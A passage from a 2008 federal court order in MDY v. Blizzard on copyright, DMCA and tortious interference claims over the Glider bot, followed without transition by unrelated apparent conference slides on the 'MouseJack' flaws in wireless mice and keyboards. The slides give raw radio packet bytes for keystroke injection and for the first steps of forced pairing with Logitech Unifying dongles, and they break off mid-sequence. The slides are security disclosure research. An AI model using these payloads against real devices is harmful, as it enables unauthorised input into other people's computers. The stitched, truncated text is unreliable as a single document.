step in using the game client software, and that the act of copying to RAM is, therefore, not an infringement, even when done in connection with Glider. Dkt. #65. MDY adopts this argument in its reply memorandum. Dkt. #69 at 2, 5, & n.7. The resolution of this issue is controlled by Ninth Circuit law. At least three cases – MAI, Triad, and Wall Data Inc. v. Los Angeles County Sheriff’s Department, 447 F.3d 769 (9th Cir. 2006) – hold that licensees of a computer program do not “own” their copy of the program and therefore are not entitled to a section 117 defense. See MAI, 991 F.2d at 518 n.5; Triad 64 F.3d at 1333; Wall Data, 447 F.3d at 784-85. Wall Data provides a two-part test for determining whether the purchaser of a copy of a software program is a licensee or an owner: if the copyright holder (1) makes clear that it is granting a license to the copy of the software, and (2) imposes significant restrictions on the use or transfer of the copy, then the transaction is a license, not a sale, and the purchaser of the copy is a licensee, not an “owner” within the meaning of section 117. Wall Data, 447 F.3d at 785. In Wall Data, the Los Angeles County Sheriff’s Department purchased nearly 4,000 licenses to Wall Data’s computer software, but installed the software on more than 6,000 computers. Id. at 773. The license granted a right to use the software on a “stand alone workstation” or a “networked station which [did] not permit the [s]oftware to be shared with other networked stations.” Id. at 775 n.5. The license also limited the transfer of the software to “not more than once every 30 days.” Id. The Ninth Circuit concluded that “[t]hese restrictions were sufficient to classify the transaction as a grant of a license to Wall 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 14 - Data’s software, and not a sale of Wall Data’s software.” Id. at 785. The court therefore concluded that “the Sheriff’s Department [was] not the ‘owner’ of copies of Wall Data’s software for purposes of § 117.” Id. Under the two-part test for ownership in Wall Data, the transactions between Blizzard and persons who acquire copies of its game client software are licenses, not sales. First, Blizzard makes clear that it is granting a license. The EULA expressly states in section 1 that Blizzard is granting a “limited license.” Dkt. #42 at 2. Section 3 goes further and states that “[a]ll title, ownership rights, and intellectual property rights in and to the Game and all copies thereof . . . are owned or licensed by Blizzard.” Dkt. #42 at 3 (emphasis added). The first paragraph of the EULA likewise states that “[t]his software program and any files that are delivered to you by Blizzard . . . and any and all copies and derivative works of such software program . . . is the copyrighted work of Blizzard[.]” Dkt. #42 at 1 (emphasis added). The EULA thus makes clear that Blizzard is granting to its users a license, not ownership, of the copies of the game client software. Second, Blizzard imposes restrictions on the transfer and use of the game client software. The user may transfer his “rights and obligations” under the EULA only by transferring the original media containing the game client software along with all original packaging and all manuals or other documentation distributed with the software; the user must delete all copies and installations of the software from his computer; and the recipient of the software must agree to the terms of the EULA. Dkt. #42 at 2 (EULA § 3(B)). As discussed above, the TOU places additional restrictions on the use of the software. See Dkt. #41-8 at 4 (TOU § 4). These restrictions are at least as severe as the restrictions in Wall Data. The Court concludes, therefore, that users of WoW, including those who use Glider, are licensees of the copies of the game client software and are not entitled to the section 117 defense. During oral argument, counsel for MDY asserted that a person who purchases a copy of the WoW game client software from a commercial retailer and walks out of the store with the copy in hand certainly would not view himself as a mere licensee of what he just 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 15 - purchased. The person could dispose of the software copy as he chose, throwing it in the trash, giving it to a friend, or installing it on his computer – all consistent with ownership. Counsel for Blizzard responded by noting that the license is clear from notices on the box purchased at the retailer and from a paper copy of the EULA contained in the box, as well as from the online notices that appear when the game client software is installed on a personal computer. One wonders what more could be done to make clear that the purchaser is a licensee, not an owner, of the software. The Court also notes that a complete prohibition on transfer of the software is not an essential requirement of a license under the Ninth Circuit’s holding in Wall Data. The license at issue in Wall Data did not prohibit transfer of the software. See Wall Data, 447 F.3d at 775 n. 5; see also Vernor v. Autodesk, Inc., — F. Supp. 2d —, No. C07-1189RAJ, 2008 WL 2199682, at *7 (W.D. Wash. May 20, 2008) (the license in Wall Data “imposed no limits on resale of the software”). MDY’s counsel also asserted at oral argument that Wall Data is distinguishable from this case because Wall Data involved a negotiated license between the software vendor and the software purchaser, not a standard form license like that contained in the WoW game. MDY is mistaken. The software used in Wall Data was purchased through an approved vendor and was governed by “volume license booklets.” 447 F.3d at 774. The transaction included a “shrink-wrap license, click-through license, and volume license booklets.” Id. at 775. The specific license at issue was the “standard” click-through license. Id. at 775 n.5. The Blizzard license in this case is also a standard click-through license. Finally, MDY urges the Court to follow the approach recently taken by the United States District Court for the Western District of Washington in Vernor, 2008 WL 2199682. The Vernor court declined to follow MAI, Triad, and Wall Data, and instead applied an earlier Ninth Circuit case, United States v. Wise, 550 F.2d 1180 (9th Cir. 1977). Wise involved the application of the “first sale” doctrine under 17 U.S.C. § 109 to various transfer contracts between movie studios and recipients of movie prints. Vernor concluded that the critical factor in Wise for determining whether a transaction was a sale or a license was “whether the transferee kept the copy acquired from the copyright holder.” 2008 WL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 7 The Court recognizes that Vernor found the meaning of “owner” to be the same in sections 109 and 117 and therefore found Wise and Wall Data to be incompatible. Id at *7. The Vernor court elected to follow the older precedent of Wise. Id. This Court, however, is confronted with recent Ninth Circuit authority not only interpreting section 117, but also explicitly declining to reconsider the rule established in MAI and Triad. Wall Data, 447 F.3d 785 n.9. If the Circuit’s interpretation of section 117 is to be reconsidered, it must be done by the Circuit, not this Court. Moreover, it is not at all clear that the result in this case would be different even if the Court were to follow Wise. Under Wise, a transaction is a license where the recipient is required to the return the copy to the copyright owner or the copyright owner retains title to the copy. 550 F.2d at 1190-92. As noted above, section 3 of the EULA provides that Blizzard explicitly retains title to “all copies” of the game client software. Dkt. #42 at 3. - 16 - 2199682, at *6. MDY urges the Court to follow Vernor and Wise and hold that the users of the WoW game client software are owners of the software because they are entitled to keep the copy of the software they acquire from Blizzard. The Court declines this invitation. Whatever freedom the court in Vernor may have had to disregard Wall Data when applying a different statutory provision – section 109 – this Court does not have the same freedom. This case concerns section 117, the very provision addressed by the Ninth Circuit in Wall Data. The Court is not free to disregard Ninth Circuit precedent directly on point.7 D. Copyright Summary. The Court reaches the following conclusions on the basis of undisputed facts, construction of the EULA and TOU, and controlling Ninth Circuit law: Blizzard owns a valid copyright in the game client software, Blizzard has granted a limited license for WoW players to use the software, use of the software with Glider falls outside the scope of the license established in section 4 of the TOU, use of Glider includes copying to RAM within the meaning of section 106 of the Copyright Act, users of WoW and Glider are not entitled to a section 117 defense, and Glider users therefore infringe Blizzard’s copyright. MDY does not dispute that the other requirements for contributory and vicarious copyright infringement are met, nor has MDY established a misuse defense. The Court accordingly will grant summary judgment in favor of Blizzard with respect to liability on the contributory and vicarious copyright infringement claims in Counts II and III. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 8 The headings in MDY’s motion suggest that MDY also seeks summary judgment on Blizzard’s counterclaim under 17 U.S.C. § 1201(b)(1) (Dkt. #45 at 12), but MDY’s motion contains no discussion of this statutory provision (id. at 13-16) and its reply brief only addresses the section in one sentence (Dkt. #69 at 6-7). - 17 - III. Blizzard’s Digital Millennium Copyright Act Claim (Count IV). Blizzard alleges that MDY has violated the DMCA. Specifically, Blizzard claims that MDY traffics in technological products, services, devices, or components designed to circumvent technological measures Blizzard has put in place to control access to its copyrighted work and to protect its rights as the copyright owner of WoW. Blizzard moves for summary judgment on all of its DMCA claims. MDY moves for summary judgment on Blizzard’s claim under 17 U.S.C. § 1201(a)(2). The Court will grant MDY’s motion insofar as it applies to Blizzard’s game client software code, but deny the motions in all other respects.8 A. Section 1201(a)(2). This section of the DMCA provides that “[n]o person shall manufacture, import, offer to the public, provide, or otherwise traffic in any technology, product, service, device, component, or part thereof” that “is primarily designed or produced for the purpose of circumventing a technological measure that effectively controls access to a work protected under this title[.]” 17 U.S.C. § 1201(a)(2)(A). Even if the product is not “primarily designed or produced” for this purpose, this section of the DMCA may be violated if the product has only limited commercially significant purposes other than to circumvent the technological measure, or if the product is sold with the knowledge that it will be used in circumventing the technological measure. Id. § 1201(a)(2)(B)-(C). “[A] technological measure ‘effectively controls access to a work’ if the measure, in the ordinary course of its operation, requires the application of information, or a process or a treatment, with the authority of the copyright owner, to gain access to the work.” Id. § 1201(a)(3)(B). Blizzard alleges that MDY has violated this provision by enabling Glider to evade Blizzard technologies designed to detect and prevent the use of bots by WoW players. Blizzards’ protections, referred to in the briefing as “Warden,” include two different software 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 18 - components. One component, known as “scan.dll,” scans the user’s computer for unauthorized programs such as Glider before the user logs onto the WoW servers to play the game. If Glider or similar programs are detected, scan.dll denies the user access to the game servers. The second component, referred to as the “resident” component of Warden, runs periodically while a user plays WoW. If the resident software detects the use of Glider or a similar program, Blizzard revokes access to the game. Blizzard argues that scan.dll and its resident software control access to its copyrighted software, as required by section 1201(a)(2), in two different but related respects. First, when scan.dll prevents a user from playing WoW, or when the resident software terminates a user’s playing of WoW, they prevent additional code in the game client software from being written to RAM. Second, scan.dll and the resident software bar access to WoW’s “non-literal elements, which are the products that are generated by the code’s interaction with the computer hardware and operating programs.” Dkt. #70 at 7 (citations in parentheses omitted). Blizzard explains that these non-literal elements include “the multi-media presentation of the WoW universe and character interactions.” Id. Because scan.dll and the resident software prevent a user from further writing of the software code to RAM, and from further accessing these non-literal elements, Blizzard contends that Warden constitutes an effective access control device within the meaning of § 1201(a)(2). MDY asserts that a holder of Blizzard’s game client software has full and complete access to the software code. This access is available on the CD that contains the game client software or on the user’s hard drive once the game client software is loaded on the user’s computer. The user thereafter can view or copy the game client software code, regardless of whether the user actually plays WoW or encounters Warden. MDY likewise argues that the user has full access to the non-literal aspects of the WoW software through the game client software, and that these non-literal aspects can be viewed on the user’s computer. With respect to the code contained in the game client software, the Court agrees with MDY. The Court has found no Ninth Circuit law that addresses this issue, but the following explanation from the Sixth Circuit is highly relevant: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 19 - It is not Lexmark’s authentication sequence that “controls access” to the Printer Engine Program. See 17 U.S.C. § 1201(a)(2). It is the purchase of a Lexmark printer that allows “access” to the program. Anyone who buys a Lexmark printer may read the literal code of the Printer Engine Program directly from the printer memory, with or without the benefit of the authentication sequence, and the data from the program may be transferrable into readable source code after which copies may be freely distributed. No security device, in other words, protects access to the Printer Engine Program code and no security device accordingly must be circumvented to obtain access to the program code. The authentication sequence, it is true, may well block one form of “access” – the “ability to . . . make use of” the Printer Engine Program by preventing the printer from functioning, but it does not block another relevant form of “access” – the ability to [ ] obtain” a copy of the work or to “make use of” the literal elements of the program (its code). Because the statute refers to “control[ling] access to a work protected under this title,” it does not naturally apply when the “work protected under this title” is otherwise accessible. Just as one would not say that a lock on the back door of a house “controls access” to a house whose front door does not contain a lock and just as one would not say that a lock on any door of a house “controls access” to the house after its purchaser receives the key to the lock, it does not make sense to say that this provision of the DMCA applies to otherwise-readily-accessible copyrighted works. Lexmark Int’l, Inc. v. Static Control Components, Inc., 387 F.3d 522, 547 (6th Cir. 2004). The same is true with respect to the code contained in Blizzard’s game client software. A user has full access to that code once the game client software has been placed on the user’s computer. The user need not pass through Blizzard’s security devices to gain access to the code. The user may view the code on the hard drive and may freely copy it to another hard drive, a CD, a jump drive, or other media. Because scan.dll and the resident software do not control access to the code in Blizzard’s game client software, section 1201(a)(2) does not apply and MDY’s marketing of Glider with capabilities of evading scan.dll and the resident software does not violate the statute. The Court therefore will grant summary judgment in favor of MDY on this issue. Blizzard argues for a contrary result on the basis of Ticketmaster. In Ticketmaster, however, the district court concluded that Ticketmaster’s protective software, known as CAPTCHA, “controls access to a protected work because a user cannot proceed to copyright protected web pages without solving CAPTCHA[.]” 507 F. Supp. 2d at 11-12 (emphasis in original). A purchaser of Blizzard game client software, by contrast, can view and copy the 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 9 The Sixth Circuit in Lexmark noted that “[i]n the essential setting where the DMCA applies, the copyright protection operates on two planes: in the literal code governing the work and in the visual or audio manifestation generated by the code’s execution.” 387 F.3d at 548. Blizzard’s reference to the “non-literal elements” of its game appears to be the same as Lexmark’s second plane. Although the Sixth Circuit addressed this issue, the parties have provided no factual basis upon which the Court may analyze it in this case. - 20 - code within that software without passing through scan.dll or the resident software. The Court cannot similarly grant summary judgment with respect to the non-literal elements of Blizzard’s game. The parties’ statements of fact say virtually nothing about this aspect of the game, and the Court is therefore unable to determine whether MDY or Blizzard is entitled to summary judgment as a matter of law. Blizzard argued in its reply memorandum that a user of WoW could not gain access to the non-literal elements of the game without passing through scan.dll and the resident software, but has provided no factual support for this assertion. MDY disputed the assertion during oral argument, but has provided no factual support for its position. The Court therefore will deny the motions of both parties on this issue.9 The Court has identified an additional apparent defect in Blizzard’s section 1201(a)(2) claim. The statute applies only to the circumvention of a “technological measure” that, “in the ordinary course of its operation, requires the application of information, or a process or a treatment, with the authority of the copyright owner, to gain access to the work.” 17 U.S.C. § 1201(a)(3)(B). Blizzard’s scan.dll and resident software do not appear to satisfy this description. Both software programs function by searching for the presence of bots and similar programs. As Blizzard explained in its statement of facts, the scan.dll component “finds” unauthorized programs, and the resident software “scans” for cheats and other unauthorized programs. Dkt. #40 ¶¶ 110-115. These programs thus do not appear to require the application of information by the game user, or the application of a process or a treatment by the game user, before granting access to copyrighted information. Because the parties did not address this issue in their briefs and have not provided specific factual information concerning this question, however, the Court will not rely on it to grant summary judgment 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 10 MDY also argues that scan.dll and the resident software are not “effective” protection devices and therefore do not fall within section 1201(a)(2). The Court is not convinced, however, that only effective measures are covered by the statute. Although the statute includes that word, it is a term of art defined in section 1201(a)(3)(A). Nothing in the definition suggests that the Court must assess the success of scan.dll and the resident software in determining whether they enjoy the protection of the statute. And as other courts have noted, affording protection only to effective measures – measures that cannot be circumvented – would render the statute a nullity. See Lexmark, 387 F.2d at 549; Universal City Studios, Inc. v. Reimerdes, 111 F. Supp. 2d 294, 318 (S.D.N.Y. 2000). - 21 - for MDY. This will be a factual issue for trial.10 B. Section 1201(b)(1). This provision of the DMCA is similar to section 1201(a)(2), with one critical difference. Section 1201(a)(2) applies to protective measures that control access to software. Section 1201(b)(1) applies to “a technological measure that effectively protects a right of a copyright owner under this title in a work or a portion thereof[.]” 17 U.S.C. § 1201(b)(1)(A). The protection of copyright rights, not controlling access, is key. The statute further provides that “a technological measure ‘effectively protects the rights of a copyright owner under this title’ if the measure, in the ordinary course of its operation, prevents, restricts, or otherwise limits the exercise of a right of a copyright owner under this title.” 17 U.S.C. § 1201(b)(2)(B). Blizzard seeks summary judgment on this claim, arguing that scan.dll and the resident software constitute technological measures that, in the ordinary course of their operation, prevent, restrict, or otherwise limit the exercise of a right of Blizzard as the copyright owner. Specifically, Blizzard asserts that scan.dll and the resident software prevent users from copying software code to RAM and accessing the non-literal elements of the game once they are caught using Glider. MDY disputes this factual assertion. MDY contends that code from the game client software is not written to RAM after a user passes by scan.dll or the resident software. Dkt. #58 at ¶¶ 35-39. Although Blizzard contends that scan.dll and the resident software prevent a user from accessing the non-literal elements of the game, as noted above, Blizzard and MDY have failed to address this aspect of the case in their statements of fact. Because 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 22 - there appears to be a factual dispute with respect to the extent to which Blizzard’s protective software protects against the copying of software code to RAM, and because the parties have not submitted sufficient facts from which the Court can decide whether these protective measures protect Blizzard’s rights in the non-literal elements of the game, summary judgment on this claim will be denied. IV. Blizzard’s Tortious Interference with Contract Claim (Count I). Blizzard alleges that MDY is liable for tortious interference with contract because MDY intentionally induces WoW users to purchase and use Glider in breach of the terms of the EULA and TOU. Dkt. #10 ¶¶ 64-78. To establish tortious interference, Blizzard must show that (1) a valid contractual relationship exists between Blizzard and its customers, (2) MDY knows of the relationship, (3) MDY has intentionally and improperly interfered in the relationship and caused a breach or termination of the relationship, and (4) Blizzard has been damaged as a result. See Antwerp Diamond Exch. of Am., Inc. v. Better Bus. Bur. of Maricopa County, Inc., 637 P.2d 733, 740 (Ariz. 1981); Wagonseller v. Scottsdale Mem’l Hosp., 710 P.2d 1025, 1043 (Ariz. 1985), superseded in other respects by A.R.S. § 23-1501. MDY does not dispute several elements of this tort: that there is a valid contract between Blizzard and its customers (the EULA and TOU), that MDY knows of the contract, and that the use of Glider breaches the contract. No additional proof is required on these elements. Nor is there a genuine dispute that MDY has intentionally interfered with the contract. MDY actively promotes the use of Glider even though it knows that using Glider breaches the TOU. MDY has admitted as much. Donnelly testified that he learned in September of 2005 that Blizzard had banned Glider users from playing WoW. Dkt. #40-6 at 13, 17. He responded by modifying Glider so that it could not be detected by Blizzard. Id. Donnelly expressly acknowledged in a November 2005 email that the use of Glider by his customers was a breach of their contracts with Blizzard: “[s]ince Blizzard does not want bots running at all, it’s a violation to use them.” Dkt. #43-10 at 3. And MDY’s website openly acknowledges that using Glider “is against the [TOU] as provided by Blizzard for [WoW].” 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 23 - Dkt. #43-9 at 3. In short, there can be no doubt that MDY knows that its promotion and sale of Glider results in the breach of Blizzard’s contract with its customers. MDY’s interference clearly is intentional. MDY contends that Blizzard has no evidence that MDY’s conduct has damaged Blizzard. Dkt. ##45 at 26-28, 57 at 28. But MDY does not dispute that Glider consumes more Blizzard resources than any other bot because of its sophisticated anti-detection features, that Blizzard must divert resources from game development to combat Glider, and that Blizzard has received numerous complaints from WoW players regarding other players’ use of Glider. Dkt. ##40 ¶¶ 220-23, 58 ¶¶ 101-03. Moreover, Blizzard has presented evidence that the use of Glider has caused Blizzard to lose subscription fees from WoW players. Dkt. ##40 ¶¶ 254-57, 58 ¶ 124. MDY’s contention that Blizzard can present no evidence of harm is without merit. The sole remaining question for purposes of liability is whether MDY’s actions are improper. Arizona has adopted the seven factors enumerated in Restatement (Second) of Torts § 767 for determining when a defendant’s interfering conduct is improper. See Wagonseller, 710 P.2d at 1042-43. Those factors include (1) the nature of the defendant’s conduct, (2) the defendant’s motive, (3) the interests of the plaintiff with which the conduct interferes, (4) the interests sought to be advanced by the defendant, (5) the social interests in protecting the freedom of action of the defendant and the contractual interests of the plaintiff, (6) the proximity or remoteness of the defendant’s conduct to the interference, and (7) the relationship between the parties. See id. Courts give the greatest weight to the first two factors. Safeway Ins. Co. v. Guerrero, 106 P.3d 1020, 1027 (Ariz. 2005). The first factor concerns the nature of MDY’s conduct. The following facts are not disputed: MDY knowingly aids WoW players in breaching their contracts with Blizzard; MDY assists the players in gaining an advantage over other WoW players; MDY enables players to mine the game for their own financial benefit and in direct violation of the TOU; MDY assists players in avoiding detection by Blizzard, and does so in a way designed to place Blizzard at risk. In MDY’s own words, “[s]taying one step ahead of Blizzard is just about 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 24 - impossible,” so MDY seeks to make it “bad business” for Blizzard to spend time and money trying to detect Glider. Dkt. #43-10 at 3. MDY seeks to make it a “bad idea” for Blizzard to try to detect Glider because counter-measures Blizzard must create to detect Glider present the “risk [of] banning or crashing innocent customers.” Id. The second factor concerns MDY’s motive. That motive is clear – profit. MDY’s business strategy is not to accept and honor the pre-existing contract between Blizzard and its customers, but to take advantage of that relationship for MDY’s financial gain. The third factor considers the interests of Blizzard with which MDY interferes. These interests are both legitimate and substantial. Blizzard has established valid and financially profitable contracts with its customers, and has done so through the innovative development and marketing of WoW. Blizzard’s interests are fully deserving of the protection the law affords legitimate contracts. The fourth factor considers the interests sought to be advanced by MDY. MDY asserts that it too is an innovator deserving of protection. Although MDY certainly has developed an innovative and successful software program in Glider, and has done so on the strength of Mr. Donnelly’s creative abilities and considerable computer skills, the success of MDY’s endeavor depends on inducing Blizzard customers to breach their contracts. Glider affects the operation of WoW, empowering its users to play WoW in a way not contemplated or approved by the game’s creator and copyright holder. Glider is successful because WoW is successful, and MDY seeks to exploit WoW’s success for its own financial benefit. Thus, even though MDY’s creative abilities cannot be denied, the fourth factor favors a finding of impropriety. The fifth factor concerns the social interests in protecting MDY’s freedom of action and the contractual interests of Blizzard. MDY argues that liability should not be imposed on “‘one who honestly persuades another to alter a contractual relationship.’” Dkt. #69 at 11. But this language, quoted from the Wagonseller case, refers to competitors in a marketplace. Wagonseller recognizes that businesses should be permitted to compete fairly for customers. One barbershop may try to attract the clients of another shop, or one car dealership may 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 11 The Court rejects MDY’s argument under Restatement § 774 that the EULA and TOU are against public policy because they are anti-competitive and restrain trade. See Dkt. #57 at 21-23. Neither agreement prohibits MDY from developing and selling a competing game. 12 Citing Bar J Bar Cattle Co. v. Pace, 763 P.2d 545 (Ariz. Ct. App. 1988), MDY contends that “[m]alice must be the sole motivator for the actor to interfere tortiously.” Dkt. ##45 at 22, 57 at 26 (emphasis in original). The Court disagrees. Bar J Bar simply recognizes that the impropriety of a defendant’s conduct requires a multi-pronged inquiry. Malice is one “facet[] of the element of impropriety that the plaintiff may show in a particular case.” Wagonseller, 710 P.2d at 1043 (emphasis added). Malice need not be shown if the other elements of improper conduct exist, and it certainly need not be the sole motivation. - 25 - legitimately seek to lure away the customers of another dealership. MDY, however, is not a competitor of Blizzard. MDY does not offer a competing computer game. Rather, MDY persuades Blizzard customers to violate their contract with Blizzard for MDY’s financial advantage. Thus, although social interests favor full and honest competition, MDY ultimately is an exploiter, not a competitor, and this fifth factor therefore favors a finding of impropriety. See Am. Airlines, Inc. v. Platinum Worlds Travel, 769 F. Supp. 1203, 1206-07 (D. Utah 1990) (finding the defendants’ conduct improper where their businesses depended on their ability to induce the plaintiff’s customers to breach their contractual obligations while the plaintiff continued to perform without knowledge of the breaches).11 The sixth factor concerns the proximity of MDY’s conduct to the contract breaches. Here, the link is direct. The development, marketing, and sale of Glider is the but-for cause of the breaches of contract. “One who induces a third person not to perform his contract with another interferes directly with the other’s contractual relation. The interference is an immediate consequence of the conduct[.]” Restatement § 767 cmt. h. The seventh factor – the relationship between the parties – also weighs in favor of a finding of impropriety. Blizzard and MDY are not competitors. Blizzard had pre-existing contractual relationships with WoW users and MDY seeks to exploit that relationship to its own commercial advantage. See id. cmts. i, j.12 All seven of the factors enumerated in Restatement section 767, including the most 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 26 - important first and second factors, favor a finding of improper conduct on the part of MDY. The Court concludes that a reasonable jury applying these factors could not conclude that MDY has acted properly. Anderson, 477 U.S. at 248. Because the other requirements for tortious interference have been satisfied, the Court will grant summary judgment in favor of Blizzard with respect to MDY’s liability on this claim. V. Blizzard’s Unjust Enrichment Claim (Count VII). MDY seeks summary judgment on Blizzard’s unjust enrichment claim. Dkt. #45 at 28. The essential elements of the claim are an enrichment of MDY, an impoverishment of Blizzard, a connection between the enrichment and the impoverishment, the absence of justification for the enrichment and the impoverishment, and the absence of a legal remedy. See Cmty. Guardian Bank v. Hamlin, 898 P.2d 1005, 1008 (Ariz. Ct. App. 1995). MDY does not address these elements, but merely asserts that nothing MDY has done rises to the level of unjust enrichment. Dkt. #45 at 28. As the party seeking summary judgment, MDY has the initial burden of informing the Court of the basis for its motion and identifying those portions of the record that demonstrate the absence of a genuine issue of material fact. See Celotex, 477 U.S. at 322. MDY has not met this burden. Moreover, MDY’s reply does not address the evidence and arguments presented by Blizzard in support of this claim. See Dkt. #54 at 24-25; Dkt. #69. The Court accordingly will deny MDY’s request for summary judgment. IT IS ORDERED: 1. The parties’ motions for summary judgment (Dkt. ##39, 45) are granted in part and denied in part. The Court grants summary judgment in favor of Blizzard with respect to MDY’s liability for tortious interference (Count I) and contributory and vicarious copyright infringement (Counts II-III); grants summary judgment in favor of MDY on the portion of the DMCA claim (Count IV) that is based on 17 U.S.C. § 1201(a)(2) and applies to Blizzard’s game client software code; grants summary judgment in favor of MDY on the unfair competition claim (Count VI); and denies summary judgment on the unjust enrichment claim (Count VII). 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 - 27 - 2. The Court will set a final pretrial conference by separate order. Trial will concern the claims that remain unresolved – portions of the DMCA claim, the trademark claim, and the unjust enrichment claim – and damages or other remedies on Counts I, II, and III. DATED this 14th day of July, 2008.
pdf
MouseJack: Injecting Keystrokes into Wireless Mice Marc Newlin / [email protected] / @marcnewlin Marc Newlin Security Researcher @ Bastille Networks Agenda 1. Overview 2. Research Process 3. Protocols and Vulnerabilities 4. Vendor Responses 5. Demo 1. Overview Types of Vulnerabilities ● Forced Device Pairing ● Keystroke Sniffing ● Unencrypted Keystroke Injection ● Encrypted Keystroke Injection ● Malicious Macro Programming ● Denial of Service Affected Vendors ● AmazonBasics ● Anker ● Dell ● EagleTec ● GE ● Gigabyte ● HDE ● Hewlett-Packard ● Insignia ● Kensington ● Lenovo ● Logitech ● Microsoft ● RadioShack ● ShhhMouse ● Toshiba Related Work Thorsten Schroeder and Max Moser ● “Practical Exploitation of Modern Wireless Devices” (KeyKeriki) ● Research into XOR encrypted Microsoft wireless keyboards Travis Goodspeed ● “Promiscuity is the nRF24L01+’s Duty” ● Research into nRF24L pseudo-promiscuous mode functionality Samy Kamkar ● KeySweeper ● Microsoft XOR encrypted wireless keyboard sniffer Common Transceivers ● General purpose transceivers with proprietary protocols ● Mouse/keyboard specific transceivers used as-is ● All devices use 2.4GHz GFSK ● Combination of protocol weaknesses and implementation flaws Nordic Semiconductor nRF24L ● 2.4GHz general purpose transceivers ● 250kbps, 1Mbps, 2Mbps data rates ● 0, 1, or 2 byte CRC ● 2400-2525MHz, 1MHz steps ● XCVR only or 8051-based SoC nRF24L Family Shockburst and Enhanced Shockburst Texas Instruments CC254X ● 2.4GHz general purpose transceivers ● Used in some Logitech keyboards and mice ● Logitech firmware is OTA compatible with nRF24L based devices ● All we care about is that they work like the nRF424L MOSART Semiconductor ● Undocumented transceiver ● Appears to have mouse/keyboard logic baked in ● No encryption ● Most common with second tier vendors Signia SGN6210 ● (Mostly) undocumented transceiver ● General purpose transceiver ● No encryption ● Only found (by me) in Toshiba mice and keyboards GE Mystery Transceiver ● Undocumented transceiver ● No idea who makes this chip ● No encryption 2. Research Process "Since the displacements of a mouse would not give any useful information to a hacker, the mouse reports are not encrypted." - Logitech Software Defined Radio ● Great for prototyping and receive only reverse engineering ● Not as great for two way comms ● Retune timing limitations are a problem ● USB and processing latency make ACKs difficult ● Initial Logitech mouse reverse engineering was all SDR based NES Controller ● Built a wireless NES controller for a burning man hat last summer ● nRF24L / Teensy based ● Should it really be a Logitech mouse controller????? Logitech mouse presentation clicker @ Iot Village... CrazyRadio PA ● nRF24LU1+ based dongle ● Part of the CrazyFlie project ● Open source ● 225 meter injection range with yagi antenna CrazyRadio + custom firmware = FUZZ ALL THE THINGS!!!! 1. Install CrazyRadio and target mouse/keyboard dongle into same computer 2. Disable magic sysrq 3. Float the input devices in xinput 4. Turn on usbmon, and watch the output of the mouse/keyboard dongle 5. Fuzz away 6. USB dongle does a thing? Save the last few seconds of RF TX data 7. Investigate “I’ll take one of each, please” 3. Protocols and Vulnerabilities Logitech Unifying ● Proprietary protocol used by most Logitech wireless mice/keyboards ● nRF24L based, but also some CC254X devices ● Introduced in 2009 ● Any Unifying dongle can pair with any Unifying device ● Dongles support DFU ● Most devices don’t support DFU Logitech Unifying - Radio Configuration Logitech Unifying - Packet Structure Logitech Unifying - Encryption ● 128-bit AES ● Key generated during pairing process ● Most keystrokes are encrypted ● Multimedia keystrokes are not (volume, navigation, etc) ● Mouse packets are unencrypted Logitech Unifying - General Operation ● USB dongles always in receive mode ● Mice and keyboards always in transmit mode ● ACK payloads enable dongle to device communication Logitech Unifying - Addressing Logitech Unifying - Wakeup ● nRF24L supports max 6 receive pipes ● Unifying supports max 6 paired devices ● Unifying dongle always listens on on its own address ● 6 + 1 > 6 ● Device sends wake up packet when turned on Logitech Unifying - Keepalives and Channel Hopping ● Paired device specifies a keepalive timeout ● If the timeout is missed, dongle channel hops to find it Logitech Unifying - Mouse Input Logitech Unifying - Encrypted Keystroke Logitech Unifying - Unencrypted Multimedia Key Logitech Unifying - Dongle to Device Communication ● Mouse or keyboard transmits packet to dongle ● Dongle attaches payload to ACK ● Status inquiries (battery level, etc) ● OTA firmware update commands ● Configuration commands (button macros, etc) Logitech Unifying - Pairing ● Dedicated pairing address BB 0A DC A5 75 ● In pairing mode, dongle listens for 30-60 seconds ● When device is switched on and can’t find its dongle, it tries to pair ● Device specifies it’s name, model, serial number, and capabilities ● Generic process for backward and forward compatibility Logitech Unifying - Unencrypted Keystroke Injection Unencrypted keystrokes can be injected into the address of already paired keyboards ‘a’ key down (scan code 4) 00 C1 00 04 00 00 00 00 00 3B ‘a’ key up (no scan codes specified) 00 C1 00 00 00 00 00 00 00 3F Logitech Unifying - Forced Pairing (1 of 7) Attacker transmits pairing request to address of already paired mouse 7F 5F 01 31 33 73 13 37 08 10 25 04 00 02 0C 00 00 00 00 00 71 40 10 25 Device model number (M510 mouse) Logitech Unifying - Forced Pairing (2 of 7) Dongle replies with an assigned RF address 7F 1F 01 EA E1 93 27 15 08 88 02 04 00 02 04 00 00 00 00 00 00 2B EA E1 93 27 15 Assigned RF address of the pairing device Logitech Unifying - Forced Pairing (3 of 7) Attacker transmits (arbitrary) serial number to dongle on the newly assigned RF address 00 5F 02 00 00 00 00 12 34 56 78 04 00 00 00 01 00 00 00 00 00 86 12 34 56 78 Device serial number 04 00 Device capabilities (mouse) Logitech Unifying - Forced Pairing (4 of 7) Dongle echoes back serial number 00 1F 02 0F 